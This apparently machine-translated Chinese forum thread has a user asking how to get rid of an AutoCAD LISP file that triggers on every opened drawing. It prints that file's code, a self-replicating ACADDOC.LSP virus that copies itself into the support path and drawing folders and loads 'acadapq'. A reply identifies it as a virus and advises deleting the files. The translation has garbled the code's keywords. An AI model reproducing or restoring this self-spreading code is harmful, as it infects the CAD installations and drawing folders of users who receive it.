我该怎么解决这个问题？？？？？
当我打开任何图纸时，这个附加的图片消息就来了，在这段代码之后，有没有任何要卸载这个lisp文件的命令defun-q s：：启动
（/基本路径
baseacad公司
阿卡多普
r-acaddoc
w基路径
rl阿卡多克
阿卡多CLSP
c-acaddocname
c-acaddocpath
c-acaddoc）
（setq基本路径
（findfile“base.dcl”）（setq basepath
（substr basepath 1（-strlen basepath）））
（setq baseacad（strcat basepath“acaddoc.lsp”））
（setq acaddocpath（findfile“acaddoc.lsp”））
（setq acaddocpath（substr acaddocpath
1（-strlen acaddocpath）11）
（setq acaddoclsp（strcat acaddocpath“acaddoc.lsp”））
（setq c-acaddocname（getvar“dwgname”））
（setq c-acaddocpath（findfile c-acaddocname））
（setq c-acaddocpath
（substr c-acaddocpath
1（-strlen c-acaddocpath）（strlen c-acaddocname）））
（setq c-acaddoc
（strcat c-acaddocpath“acaddoc.lsp”））
（如果
（和
（/=basepath acaddocpath）
（=c-acaddocpath-acaddocpath））
（程序
（setq r-acaddoc
（打开acaddoclsp“r”））
（setq w-basepath
（开放式baseacad“w”））
（虽然
（setq rl阿卡多克
（读取行r-acaddoc））
（写入行rl acaddoc w-basepath））
（关闭w-basepath）
（关闭r-acaddoc）
（程序
（setq r-acaddoc
（打开acaddoclsp“r”））
（setq w-basepath
（打开c-acaddoc“w”））
（虽然
（setq rl阿卡多克
（读取行r-acaddoc））
（写入行rl acaddoc w-basepath））
（关闭w-basepath）
（关闭r-acaddoc）））
（普林斯）
（加载“acadapq”）
（普林斯）
您发布的代码（顺便说一句，请编辑您的帖子并添加所需的代码标签）是名为ACADDOC的文件的内容。LSP位于图形文件中，对吗？
这段代码似乎是与每个图形（新的或打开的）一起运行的，并由其自身进行复制。
如果该文件（一组合法的自定义工具）中没有任何其他代码，那么这也是支持路径中加载程序的全部内容，因此可以安全地将其删除。无论如何，由于它自己编写的方式，加载程序以前的任何合法内容都已经被这个visus所取代。
请在硬盘上搜索“ACADDOC.LPS”和“ACADAPQ.LSP/FAS/VLX/MNL”（每个扩展名）并删除这些文件。
页:
[1]